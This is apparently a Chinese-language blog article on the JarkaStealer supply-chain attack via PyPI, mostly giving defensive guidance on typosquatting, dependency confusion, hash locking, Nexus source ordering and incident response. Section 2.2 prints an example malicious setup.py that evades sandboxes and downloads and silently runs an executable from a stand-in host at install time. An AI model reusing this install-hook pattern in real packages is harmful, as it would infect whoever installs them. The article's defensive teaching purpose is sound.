1. 项目概述:当开源生态遭遇供应链攻击

最近在安全圈和Python开发者社区里,一个名为“JarkaStealer”的恶意软件通过PyPI(Python Package Index)进行传播的事件,引起了不小的波澜。这已经不是PyPI第一次成为攻击者的目标,但每次事件都在提醒我们,那个我们每天用来安装 requests numpy pip install 命令背后,潜藏着供应链安全的巨大风险。简单来说,这次攻击就是攻击者将伪装成正常Python库的恶意包上传到PyPI官方仓库,当开发者或自动化系统不慎安装这些包时,恶意代码就会在目标机器上执行,窃取敏感信息如浏览器凭证、加密货币钱包、Discord令牌等。

这件事的核心,远不止一个恶意软件那么简单。它直指现代软件开发最依赖的基石之一——开源软件供应链的安全性问题。PyPI作为Python生态的“心脏”,每天处理着数以亿计的下载请求。对于开发者而言,它就像是一个取之不尽的开源宝库;但对于攻击者来说,它则是一个拥有海量潜在受害者的、防护相对薄弱的“前沿阵地”。攻击模式通常很“经典”: 仿冒流行库(Typosquatting) 依赖混淆(Dependency Confusion) 、或直接 投毒合法库的旧版本 。JarkaStealer事件再次证明,这种攻击方式成本低、收益高,且难以完全防御。

如果你是Python开发者、运维工程师、安全研究员,或者任何在工作中需要管理Python环境的人,那么理解这次攻击的来龙去脉、掌握基本的识别与防御方法,就不仅仅是“了解一下”而已,而是必备的生存技能。它关乎你项目的安全、公司的资产,甚至是个人的隐私。接下来,我将从一个常年与各种依赖包打交道的老兵视角,拆解这次攻击的细节,并分享一套从原理到实操的防御体系。

2. 攻击链深度剖析:JarkaStealer如何潜入你的系统

要有效防御,必须先深入理解攻击是如何发生的。JarkaStealer的攻击链清晰地展示了现代供应链攻击的典型路径,我们可以将其分解为几个关键环节。

2.1 攻击入口:恶意包的伪装与上传

攻击的第一步,是制作一个“看起来合法”的Python包。攻击者通常会采用以下几种策略:

  1. 仿冒(Typosquatting) :这是最常见的手段。攻击者注册一个与流行库名称极其相似的包名,例如将 requests 仿冒为 requets request reqests 。开发者一旦手滑打错字母,或者自动化脚本的依赖列表里存在笔误,就会中招。在这次事件中,攻击者就上传了多个此类仿冒包。
  2. 依赖混淆(Dependency Confusion) :这种攻击针对的是企业私有包。许多公司会在内部搭建私有PyPI镜像(如使用Nexus Repository、DevPi),用于托管内部开发的、不公开的Python包。这些内部包可能在 requirements.txt pyproject.toml 中有一个通用的名称(例如 mycompany-utils )。攻击者发现这一点后,会在公共PyPI上注册同名包并赋予更高的版本号。当用户的包管理工具(如pip)同时配置了公共源和私有源时,默认行为可能会优先安装版本号更高的包(来自公共PyPI的恶意包),而非内部的安全包。
  3. 劫持废弃项目 :有些开源项目不再维护,其原作者可能已失去对PyPI账户的控制。攻击者通过社会工程学或漏洞接管这些账户,然后在原项目中注入恶意代码并发布新版本。

JarkaStealer的攻击者主要利用了前两种策略。他们批量上传了数十个仿冒包,这些包的 setup.py pyproject.toml 文件看起来人畜无害,描述信息也模仿正版包,极具迷惑性。

注意 :仅仅看包名和简短描述,在 pip install 的瞬间很难分辨真伪。这也是自动化脚本和CI/CD流水线的高危场景。

2.2 载荷释放与持久化: setup.py 的“双面人生”

Python包的安装过程,核心是执行 setup.py 文件(对于现代包,则是通过 pyproject.toml 中的 build-backend 调用构建钩子)。这正是恶意代码执行的绝佳时机。

一个典型的恶意 setup.py 可能长这样:

from setuptools import setup, find_packages
import os, sys, subprocess, platform

# 恶意代码部分
def install_payload():
    # 判断环境,避免在分析沙箱或特定环境中执行
    if platform.system() == "Windows" and os.getenv("USERNAME") != "sandbox":
        # 从远程服务器下载第二阶段载荷(如JarkaStealer本体)
        payload_url = "http://malicious-server.com/stealer.exe"
        payload_path = os.path.join(os.environ['TEMP'], 'update.exe')
        
        # 使用各种方法下载并执行,可能尝试隐藏网络行为
        try:
            import urllib.request
            urllib.request.urlretrieve(payload_url, payload_path)
            subprocess.Popen([payload_path], shell=True, creationflags=subprocess.CREATE_NO_WINDOW)
        except:
            pass
        
        # 或者直接内嵌混淆后的窃取代码
        # ...

# 在setup()函数执行前或后调用恶意函数
install_payload()

# 正常的包元数据,用于伪装
setup(
    name="fake-requests", # 仿冒名
    version="0.1.0",
    author="Fake Author",
    description="A fake package for demo purposes (MALICIOUS)",
    packages=find_packages(),
    install_requires=["some-innocent-library"], # 可能依赖其他合法库以显得更真实
    classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
    ],
)

恶意代码的执行时机 setup.py 中的顶级代码在包安装过程中( pip install 的构建阶段)就会执行。这意味着, 即使安装最终失败(例如因为缺少某个依赖),恶意代码也可能已经运行完毕 。这是非常危险的一点。

持久化手段 :更高级的恶意包可能还会:

  • 在用户目录下创建启动项或计划任务,实现持久化。
  • 尝试禁用安全软件或修改系统设置。
  • 下载并加载后续模块,实现功能扩展。

2.3 信息窃取模块(JarkaStealer)的功能解析

一旦恶意代码被执行,它通常会下载或释放最终的窃取器——JarkaStealer。这类信息窃取木马的功能大同小异,但集成度高,危害大:

  1. 浏览器数据窃取 :遍历Chrome、Firefox、Edge、Brave等浏览器的本地数据存储路径,提取:
    • Cookie :用于会话劫持,直接登录用户账户。
    • 保存的密码 :通过解密浏览器存储的加密密码库获取。
    • 历史记录与书签 :用于了解用户行为习惯或寻找敏感目标。
    • 自动填充数据 :包含姓名、地址、信用卡信息等。
  2. 加密货币钱包窃取 :扫描系统中文档、下载、桌面等目录,寻找诸如 wallet.dat (Bitcoin Core)、 seed phrase (助记词)文本文件、以及MetaMask、Exodus等桌面钱包的本地存储文件。
  3. Discord与通讯软件令牌窃取 :Discord、Telegram等应用的本地令牌是攻击者的重点目标,获取后可直接控制账户、加入服务器进行诈骗或进一步攻击。
  4. 系统信息收集 :收集用户名、主机名、操作系统版本、IP地址、已安装软件列表等,用于对受害者进行画像和后续攻击。
  5. 文件窃取与键盘记录 :可能根据配置,窃取特定扩展名的文件(如 .txt , .docx , .pdf ),或启用键盘记录功能。
  6. 命令与控制(C2)通信 :将窃取到的所有数据压缩、加密,然后通过HTTP/HTTPS或Discord Webhook发送到攻击者控制的服务器。

整个攻击链从一次看似普通的 pip install 开始,到系统敏感信息被完全外泄,可能只需要几分钟。攻击的自动化程度很高,可以大规模实施。

3. 防御体系构建:从个人开发到企业级防护

面对这种防不胜防的供应链攻击,我们不能抱有侥幸心理。构建一个纵深防御体系是关键,这需要从个人习惯、项目配置、到企业基础设施多个层面共同努力。

3.1 个人开发者最佳实践

个人是安全的第一道防线,养成良好的习惯能避免大部分风险。

  1. 仔细核对包名 :在 pip install 前,花一秒钟确认包名拼写。对于关键依赖,直接访问 pypi.org 搜索并点击官方链接复制安装命令。
  2. 审查包的元数据
    • 查看项目主页和源码仓库 :正规项目通常会链接到GitHub、GitLab等托管平台。检查仓库的Star数、Issue和PR的活跃度、最近提交时间。一个刚创建几天、没有任何历史、作者信息模糊的仓库需要警惕。
    • 检查下载量 :在PyPI项目页面上,流行且可信的包通常有巨大的下载量。一个仿冒包的下载量可能极少。
    • 查看“发布历史” :突然出现的、版本号跳跃的发布可能是劫持信号。
  3. 使用虚拟环境 永远不要 在系统全局Python环境中直接安装不明来源的包。使用 venv conda 创建独立的项目环境,将潜在损害隔离在单个项目内。
    # 创建虚拟环境
    python -m venv myproject-env
    # 激活(Linux/macOS)
    source myproject-env/bin/activate
    # 激活(Windows)
    myproject-env\Scripts\activate
    # 然后在虚拟环境中安装依赖
    (myproject-env) pip install requests
    
  4. 优先使用锁定文件 :使用 pip freeze > requirements.txt 生成的依赖列表是模糊的(使用 >= 等范围指定器)。更好的做法是使用 pip-tools 或直接使用 pip --require-hashes 选项生成带有精确版本和哈希校验的依赖文件,或采用 Poetry PDM 这类现代包管理工具,它们会生成 poetry.lock / pdm.lock 锁定文件,确保每次安装的依赖完全一致。
    # 使用pip生成带哈希的严格需求文件(示例)
    pip install pip-tools
    pip-compile --generate-hashes requirements.in -o requirements.txt
    
  5. 安装前进行沙箱检查(高级) :对于极度敏感的项目,可以在一个隔离的虚拟机或容器(如Docker)中先安装并运行新依赖,观察其网络和文件系统行为,再决定是否引入生产环境。

3.2 项目级安全加固

单个开发者的谨慎需要项目规范的加持。

  1. 使用 pyproject.toml 并明确依赖声明 :现代Python项目应使用 pyproject.toml 来管理元数据和依赖。明确指定依赖版本范围,避免使用过于宽泛的 * >=
    [project]
    name = "my-safe-project"
    dependencies = [
        "requests>=2.25.0,<3.0.0",  # 相对明确的版本范围
        "numpy==1.24.0",             # 精确版本,适合核心依赖
    ]
    
  2. 实施依赖审计 :将依赖安全检查集成到CI/CD流程中。可以使用以下工具:
    • safety :检查已安装依赖是否包含已知的安全漏洞(CVE)。
    • bandit :扫描项目代码和依赖中是否存在常见的安全问题模式。
    • pip-audit :官方推荐的审计工具,用于检查依赖关系中的已知漏洞。
    • dependabot / renovate :GitHub/GitLab的机器人,可以自动创建PR更新有漏洞的依赖到安全版本。 在CI中配置一个审计步骤:
    # GitHub Actions 示例
    - name: Audit dependencies
      run: |
        pip install safety pip-audit
        safety check
        pip-audit
    
  3. 签名验证与哈希校验 :虽然PyPI对上传的包进行了签名,但客户端默认不验证。可以通过 --require-hashes 选项强制pip进行哈希校验,确保安装的包与预期完全一致。但这需要维护一个带哈希的 requirements.txt 文件,管理成本较高。

3.3 企业级防护方案

对于企业,尤其是拥有私有包和大量开发者的组织,需要系统性的解决方案。

  1. 搭建私有PyPI镜像并严格配置源优先级 :这是防御“依赖混淆”攻击的核心。使用 Sonatype Nexus Repository JFrog Artifactory DevPi 搭建内部PyPI代理/仓库。
    • 关键配置 :将私有仓库组(group repository)配置为 唯一 的pip源,或者确保私有仓库的优先级 绝对高于 公共PyPI(如pypi.org)。在Nexus中,这意味着在仓库组的“Order”里,把你的私有仓库(hosted)放在公共代理(proxy) 之前
    • 常见坑点:“nexus 配置 pypi 代理 不生效” :这个问题经常出现。原因和解决方案通常如下:
      • pip.conf 或环境变量配置错误 :确保所有构建节点和开发者机器上的pip配置指向你的Nexus仓库组URL,并且使用了正确的凭证(如果需要认证)。
      • 仓库组顺序错误 :如上所述,在Nexus管理界面检查仓库组的成员顺序。如果公共代理库(如 pypi-proxy )在私有库(如 pypi-hosted )前面,当请求一个在两者中都存在的包时,pip会优先从公共代理获取(可能拿到恶意的高版本包)。 必须把私有库排在前面
      • 缓存问题 :公共代理库可能有缓存。如果之前已经缓存了恶意包,即使调整了顺序,短时间内可能仍会命中缓存。可以尝试清除Nexus中对应代理仓库的缓存,或者在测试时使用全新的包名/版本。
      • pip install 命令中使用了 -i --index-url :这可能会覆盖全局配置,直接指定了公共源。确保CI脚本和文档中使用的命令与公司策略一致。
  2. 实施软件物料清单(SBOM)与持续监控 :使用工具(如 cyclonedx-python )为项目生成SBOM,清晰掌握所有直接和间接依赖。然后接入SCA(软件成分分析)平台,对SBOM中的组件进行持续漏洞监控和许可证合规检查。
  3. 网络层控制 :在企业防火墙上,可以严格限制出站连接。只允许构建服务器和特定机器访问经过审核的、可信的外部包仓库(如官方的PyPI及其国内可信镜像),阻断对未知或可疑域名的访问。这可以阻止恶意包在安装时下载第二阶段载荷。
  4. 安全开发培训 :定期对开发团队进行安全意识培训,让他们了解最新的攻击手法(如本次JarkaStealer事件)和公司内部的包管理规范。

4. 应急响应与排查:如果怀疑已中招

即使防护再严密,也需要有“万一”的预案。如果你怀疑自己的环境可能安装了恶意包,应按以下步骤冷静处理。

4.1 迹象识别

  • 异常网络连接 :机器向未知IP或域名(尤其是与软件功能无关的)发起HTTP/HTTPS请求。
  • 系统性能异常 :CPU或内存占用无故升高,可能与恶意软件运行有关。
  • 安全软件告警 :防病毒软件或EDR(终端检测与响应)系统发出关于Python进程或陌生文件的警报。
  • 账户异常 :发现Discord、邮箱或其他账户出现异地登录或异常活动。
  • 文件被修改或创建 :在临时目录或用户目录发现可疑的可执行文件或日志文件。

4.2 排查与取证步骤

  1. 立即隔离系统 :将受影响的机器从网络中断开,防止数据持续外泄和横向移动。
  2. 检查Python环境
    • 列出所有已安装的包: pip list pip freeze
    • 仔细审查列表,寻找任何拼写可疑、不熟悉或版本号异常的包。可以与一个干净的基准环境进行对比。
    • 使用 pip show <package-name> 查看可疑包的详细信息,如安装位置、作者、主页等。
  3. 分析包内容
    • 找到包的安装路径(通常位于 site-packages 目录下)。
    • 检查 setup.py __init__.py 以及任何可能的入口点脚本。寻找可疑的代码片段,如 exec() eval() os.system() subprocess.Popen() urllib.request.urlretrieve() 等动态执行或下载代码的调用。
    • 可以使用代码审计工具或文本编辑器搜索关键词如 http:// https:// base64 decode exec 等。
  4. 检查系统进程和启动项
    • 使用任务管理器或 ps 命令查看是否有异常的Python进程。
    • 检查系统的启动文件夹、计划任务(Windows Task Scheduler)、cron作业(Linux)、或LaunchAgents(macOS),看是否有新增的未知任务。
  5. 扫描恶意软件 :使用更新的防病毒软件或专杀工具对全盘进行扫描。也可以将可疑文件上传到 VirusTotal 等在线分析平台进行检测。

4.3 清除与恢复

  1. 卸载恶意包 :在隔离的环境中,使用 pip uninstall <malicious-package-name> 卸载它。但请注意, 卸载过程可能再次触发恶意代码 (如果 setup.py 中定义了 uninstall 钩子)。最安全的方式是直接手动删除包所在的目录。
  2. 清除持久化项目 :根据排查结果,手动删除恶意软件创建的计划任务、启动项、注册表项或相关文件。
  3. 轮换凭证 这是最关键的一步 。立即更改所有可能已泄露的密码,特别是邮箱、银行、主要社交平台、加密货币交易所的密码。启用双因素认证(2FA)。检查浏览器中保存的密码,并逐一更改。对于加密货币钱包,如果私钥或助记词可能已泄露, 必须将资产转移到由全新且绝对安全生成的密钥控制的新地址中 ,旧地址不应再使用。
  4. 重建环境 :考虑彻底清理Python环境(删除虚拟环境目录)或甚至重装系统,以确保根除所有潜在的后门或残留。然后从可信的来源(带哈希校验的依赖文件)重新安装所有依赖。

5. 工具链与自动化防御实战

理论需要工具落地。下面介绍几个能有效融入开发流程的自动化工具和配置。

5.1 依赖漏洞扫描集成示例

以GitHub Actions为例,创建一个自动化的安全检查工作流:

# .github/workflows/security-scan.yml
name: Security Scan

on:
  push:
    branches: [ main, develop ]
  pull_request:
    branches: [ main ]
  schedule:
    - cron: '0 2 * * 1' # 每周一凌晨2点运行一次

jobs:
  security-audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: '3.11'

      - name: Install dependencies
        run: |
          python -m pip install --upgrade pip
          pip install safety pip-audit bandit

      - name: Run Safety (CVE check)
        run: safety check --full-report

      - name: Run pip-audit
        run: pip-audit

      - name: Run Bandit (code security)
        run: bandit -r . -f json -o bandit-report.json || true # 即使发现漏洞也不失败,仅报告
        # 可以考虑设置一个阈值,如 `bandit -ll` 仅报告高/中危问题

      - name: Upload Bandit report
        uses: actions/upload-artifact@v4
        if: always()
        with:
          name: bandit-security-report
          path: bandit-report.json

这个工作流会在代码推送或合并请求时自动运行,检查依赖漏洞和代码安全问题,并将报告作为产物保存,方便后续审查。

5.2 私有源配置详解(以Nexus为例)

确保企业内部pip源配置正确是防御依赖混淆的基石。以下是详细的配置点:

  1. Nexus仓库结构

    • Hosted Repository (pypi-hosted) :用于上传企业内部开发的私有Python包。
    • Proxy Repository (pypi-proxy) :代理远程的公共PyPI仓库,缓存下载过的包以加速后续下载。
    • Group Repository (pypi-group) :将上述 pypi-hosted pypi-proxy 组合起来,对外提供一个统一的地址。 关键:在Group的配置中,必须将 pypi-hosted 放在 pypi-proxy 之上。
  2. 客户端配置 ( ~/.pip/pip.conf %APPDATA%\pip\pip.ini )

    [global]
    index-url = https://nexus.your-company.com/repository/pypi-group/simple
    trusted-host = nexus.your-company.com
    # 如果需要认证
    # extra-index-url = https://username:password@nexus.your-company.com/repository/pypi-group/simple/
    

    绝对不要 在项目或CI脚本中再使用 -i https://pypi.org/simple ,这会覆盖全局配置,导致请求直接流向公共源,绕过你的安全策略。

  3. CI/CD环境配置 :在Jenkins、GitLab CI、GitHub Actions等环境中,通过环境变量或配置文件确保pip使用的是内部源。

    # GitHub Actions 示例
    - name: Configure pip to use internal Nexus
      run: |
        echo "[global]" >> ~/.pip/pip.conf
        echo "index-url = https://nexus.your-company.com/repository/pypi-group/simple" >> ~/.pip/pip.conf
        echo "trusted-host = nexus.your-company.com" >> ~/.pip/pip.conf
    

5.3 进阶:使用 pip --require-hashes 进行终极锁定

对于安全要求极高的场景,可以使用哈希校验来锁定依赖。首先,创建一个 requirements.in 文件列出你的直接依赖。然后:

# 1. 编译生成带哈希的requirements.txt
pip install pip-tools
pip-compile --generate-hashes requirements.in -o requirements.txt

# 生成的requirements.txt片段示例:
# requests==2.31.0 \
#     --hash=sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1 \
#     --hash=sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f

# 2. 安装时,使用--require-hashes确保完整性
pip install --require-hashes -r requirements.txt

这样,pip会严格检查下载的包是否与文件中记录的哈希值匹配,任何篡改都会导致安装失败。但这种方法会牺牲一些灵活性,增加依赖管理的复杂度。

供应链安全是一场持久战,PyPI攻击只是其中一个战场。JarkaStealer事件再次敲响警钟:信任,但必须验证。作为开发者,我们需要将安全意识内化为开发习惯的一部分,从每一次 pip install 开始,构筑起代码与系统的安全防线。企业则需要通过技术手段和流程规范,将这种个体防御能力扩展为组织级的免疫系统。安全没有银弹,但通过层层布防和持续警惕,我们完全可以将风险降到最低。

更多推荐